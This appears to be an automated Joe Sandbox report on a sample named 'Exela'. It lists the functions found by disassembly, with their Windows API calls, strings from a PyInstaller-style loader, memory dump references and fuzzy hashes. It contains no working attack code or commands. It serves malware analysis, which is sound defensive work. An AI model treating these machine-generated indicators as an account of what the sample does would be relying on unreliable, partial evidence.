Instruction Fuzzy Hash: 5651BD61F087678AFA10BB11A8069B9E390BF45794FCC46B1EE0C07792DF3CE9459360

Function 00007FF75AE98850 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF75AE93CBB), ref: 00007FF75AE988F4
GetCurrentProcessId.KERNEL32(?,00000000,00007FF75AE93CBB), ref: 00007FF75AE988FA
CreateDirectoryW.KERNELBASE(?,00000000,00007FF75AE93CBB), ref: 00007FF75AE9893C

Part of subcall function 00007FF75AE98A20: GetEnvironmentVariableW.KERNEL32(00007FF75AE9388E), ref: 00007FF75AE98A57
Part of subcall function 00007FF75AE98A20: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF75AE98A79

Part of subcall function 00007FF75AEA82A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA82C1

Part of subcall function 00007FF75AE92810: MessageBoxW.USER32 ref: 00007FF75AE928EA

Strings

TMP, xrefs: 00007FF75AE9888C, 00007FF75AE98993
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF75AE9896E
LOADER: failed to set the TMP environment variable., xrefs: 00007FF75AE988CC
_MEI%d, xrefs: 00007FF75AE98902
TMP, xrefs: 00007FF75AE988B2

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
Instruction ID: 9db4264300ae4e75d5aa598b8ac555c918be469d190e502191a7670588a82f47
Opcode Fuzzy Hash: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
Instruction Fuzzy Hash: B341A011A1976249FA24FB25A85B6FAD390AF88780FCC51B1ED0D477E6DE3CE901C320

Function 00007FF75AE91210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF75AE912BA
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF75AE912EF
malloc, xrefs: 00007FF75AE912C1, 00007FF75AE912F6
1.3.1, xrefs: 00007FF75AE91249
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF75AE91276
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF75AE9141E

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 15fc9c742c9fb12a8c4ab664e8e5c311509e27342d3a39e207e1bde7a43e7c65
Instruction ID: 18baeaa694f97a44c889729e513fec92477014abfdaf4d8995048c13593bb700
Opcode Fuzzy Hash: 15fc9c742c9fb12a8c4ab664e8e5c311509e27342d3a39e207e1bde7a43e7c65
Instruction Fuzzy Hash: 2D51B322A0876249FA60BB11A8427BAE2D1BF85794FCC4275EE4D477D5EF3CE905C720

Function 00007FF75AEAED80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF75AEAF11A,?,?,-00000018,00007FF75AEAADC3,?,?,?,00007FF75AEAACBA,?,?,?,00007FF75AEA5FAE), ref: 00007FF75AEAEEFC
GetProcAddress.KERNEL32(?,?,?,00007FF75AEAF11A,?,?,-00000018,00007FF75AEAADC3,?,?,?,00007FF75AEAACBA,?,?,?,00007FF75AEA5FAE), ref: 00007FF75AEAEF08

Strings

ext-ms-, xrefs: 00007FF75AEAEE59
api-ms-, xrefs: 00007FF75AEAEE46

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction ID: 1479b542e1a2af95a6064b22553ed0382c5e96f1f9a9fe4f68f37d8c80ae1959
Opcode Fuzzy Hash: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction Fuzzy Hash: ED411621B19B3281FA16FB16981A675A391BF48B90FCD8579ED1D47384EF3CE805C360

Function 00007FF75AE936B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF75AE93804), ref: 00007FF75AE936E1
GetLastError.KERNEL32(?,00007FF75AE93804), ref: 00007FF75AE936EB

Part of subcall function 00007FF75AE92C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF75AE93706,?,00007FF75AE93804), ref: 00007FF75AE92C9E
Part of subcall function 00007FF75AE92C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF75AE93706,?,00007FF75AE93804), ref: 00007FF75AE92D63
Part of subcall function 00007FF75AE92C50: MessageBoxW.USER32 ref: 00007FF75AE92D99

Strings

\\?\, xrefs: 00007FF75AE9375A
Failed to resolve full path to executable %ls., xrefs: 00007FF75AE93739
Failed to obtain executable path., xrefs: 00007FF75AE936F3
GetModuleFileNameW, xrefs: 00007FF75AE936FA
Failed to convert executable path to UTF-8., xrefs: 00007FF75AE93790

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction ID: f76858c276dbdf7e7f1cb10ce940f0214e8e4bf1483fa9fa06be43151ebf1972
Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction Fuzzy Hash: 7521C751B1C76395FA20B724E8177BAA250BF88744FC842B6E55DC25E5EE3CE905C320

Function 00007FF75AEABACC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEABEF9

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 71330427dde7a49afb2283bb308656113f98e0c66a4f806cd66398b14c9322eb
Instruction ID: ac07e26ee97088d2eaade3e0b7c6704b1d9fdec79bbd64e4776d29d5b95a4315
Opcode Fuzzy Hash: 71330427dde7a49afb2283bb308656113f98e0c66a4f806cd66398b14c9322eb
Instruction Fuzzy Hash: BDC1B4229087A691F760BB15944A2BDB794FF81B80FDD41B1EA4E07791CF7CEC558720

Function 00007FF75AE98760 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF75AE98780
OpenProcessToken.ADVAPI32 ref: 00007FF75AE98793
GetTokenInformation.KERNELBASE ref: 00007FF75AE987B8
GetLastError.KERNEL32 ref: 00007FF75AE987C2
GetTokenInformation.KERNELBASE ref: 00007FF75AE98802
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF75AE9881E
CloseHandle.KERNEL32 ref: 00007FF75AE98836

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
Instruction ID: be20ff680414a40a1c3a2d888350e2a7261b9c047fb7ca64d6808bbd15c4e803
Opcode Fuzzy Hash: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
Instruction Fuzzy Hash: 90218D21A0C75686FB20BB55B45563AE7A0EF817B0F984275EAAC43AF4DE6CD8448720

Function 00007FF75AE990E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF75AE98760: GetCurrentProcess.KERNEL32 ref: 00007FF75AE98780
Part of subcall function 00007FF75AE98760: OpenProcessToken.ADVAPI32 ref: 00007FF75AE98793
Part of subcall function 00007FF75AE98760: GetTokenInformation.KERNELBASE ref: 00007FF75AE987B8
Part of subcall function 00007FF75AE98760: GetLastError.KERNEL32 ref: 00007FF75AE987C2
Part of subcall function 00007FF75AE98760: GetTokenInformation.KERNELBASE ref: 00007FF75AE98802
Part of subcall function 00007FF75AE98760: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF75AE9881E
Part of subcall function 00007FF75AE98760: CloseHandle.KERNEL32 ref: 00007FF75AE98836

LocalFree.KERNEL32(?,00007FF75AE93C55), ref: 00007FF75AE9916C
LocalFree.KERNEL32(?,00007FF75AE93C55), ref: 00007FF75AE99175

Strings

Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF75AE99183
D:(A;;FA;;;%s), xrefs: 00007FF75AE99157
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF75AE99142
S-1-3-4, xrefs: 00007FF75AE99121

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 44a76ac2d965b652da6d7152683ffc914eb32e79e00aec7a7a922ce7c9633e88
Instruction ID: 4e7f5d265aa20896c0918edc79173f9221289376d1e535c219868d27e5422382
Opcode Fuzzy Hash: 44a76ac2d965b652da6d7152683ffc914eb32e79e00aec7a7a922ce7c9633e88
Instruction Fuzzy Hash: 04218221A0875689FB10BB21E55A7EAA364FF88780FC840B1EA4D53796DF3CD8058760

Function 00007FF75AE97E10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00000000,?,00007FF75AE9352C,?,00000000,00007FF75AE93F23), ref: 00007FF75AE97F22

Strings

\, xrefs: 00007FF75AE97E87
%.*s, xrefs: 00007FF75AE97EDB
%s%c, xrefs: 00007FF75AE97E94

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
Instruction ID: dd085833ae2f05d1ae0ac13684e8d97cda65f1ae91378401cd904a5af3ab2d01
Opcode Fuzzy Hash: b1106a047486010b66b16d7d561c3e0e79f8eec2dc114c611d5a943da294bb6a
Instruction Fuzzy Hash: 6531D621619BD549FB21BB20A852BEAA354EF84BE4F880270EE6D437C9DE2CD6458710

Function 00007FF75AEACFD0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF75AEACFBB), ref: 00007FF75AEAD0EC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF75AEACFBB), ref: 00007FF75AEAD177

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction ID: 66e33b65c9d276d9da9fc486a93bc7c2f23f94217e81deb88309e111fece70b2
Opcode Fuzzy Hash: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction Fuzzy Hash: BC91C672F1866189F750BF65948A3BDABA0EF54B88F9C41B9DE0E57684CE38D442C730

Function 00007FF75AEAF9FC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF75AEAFAEC
_get_daylight.LIBCMT ref: 00007FF75AEAFAFD
_get_daylight.LIBCMT ref: 00007FF75AEAFB0E
_isindst.LIBCMT ref: 00007FF75AEAFBD9

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction ID: af05e71ef9e4618fa9eab05f9e849d0bbcaf2a687110582b9dfdf8ffbd08dd8c
Opcode Fuzzy Hash: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction Fuzzy Hash: 4E510B73F042218AFB14FF24D96A6BCA7A1AF40358F984275DD1E52AE5DF38A402C710

Function 00007FF75AEA57EC Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF75AEA581F
GetFileInformationByHandle.KERNELBASE ref: 00007FF75AEA5881
GetLastError.KERNEL32 ref: 00007FF75AEA5912
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF75AEA5724), ref: 00007FF75AEA595E

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 6433626fc0a770ba4f6d83c09f3326f67990d509dea1b3a303c7df294cc1bd66
Instruction ID: d246f313e1b196996d780b106dff7ea72baf14baad370b1b14def19028b6aeb0
Opcode Fuzzy Hash: 6433626fc0a770ba4f6d83c09f3326f67990d509dea1b3a303c7df294cc1bd66
Instruction Fuzzy Hash: CF51AD22E087618AFB10FF71D45A3BDA3A1BF48B58F988575DE0D5B688DF38D4428720

Function 00007FF75AEA5698 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA56C5
CreateFileW.KERNELBASE ref: 00007FF75AEA5704
CloseHandle.KERNEL32 ref: 00007FF75AEA5739

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 24238bc47b860f74abc13910c6a37bc7991964e3dbe0c30fb6d15975fbdc4001
Instruction ID: 1b27b1b376e12331efcd963d3d0276092d520de5a1136c021d3708d197bb6d75
Opcode Fuzzy Hash: 24238bc47b860f74abc13910c6a37bc7991964e3dbe0c30fb6d15975fbdc4001
Instruction Fuzzy Hash: E341C422D1879283F350BB20961A379A360FF94764F549375EA9C03AD2DF7CA5E18720

Function 00007FF75AE9CCAC Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75AE9CE7C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF75AE9CE90

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF75AE9CCD0
__scrt_release_startup_lock.LIBCMT ref: 00007FF75AE9CD3E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF75AE9CD91

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction ID: 44aaf1e4e1737e217bb3da66a54c00683d13b118261384aea55578a273af45da
Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
Instruction Fuzzy Hash: CD313B21E083734DFA64BB259467BB9A791AF81384FCC44B4D94E672D3DE2CA805C271

Function 00007FF75AEA9AA0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF75AEA9A9C), ref: 00007FF75AEA9AB1
TerminateProcess.KERNEL32(?,?,?,00007FF75AEA9A9C), ref: 00007FF75AEA9ABC
ExitProcess.KERNEL32 ref: 00007FF75AEA9ACB

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction ID: fea1776a34e1a753359ab11cf083ecdcdcffef3678773178f7f852b2f1373dec
Opcode Fuzzy Hash: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
Instruction Fuzzy Hash: 6DD09210B1876A42FB183B745C9F17DA255AF48B41F9C55F9C80B0A3A3ED7CA8498320

Function 00007FF75AEA01AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA01F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA02E7

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: d606099b4e6e67df70ef816ca1599a51ed9bd395bbdcec814ad5e0d787070884
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: 35512821B0926246F766BE29940A67AE3C1AF44BA4F9C4774DE6D077C6CF3CD5018630

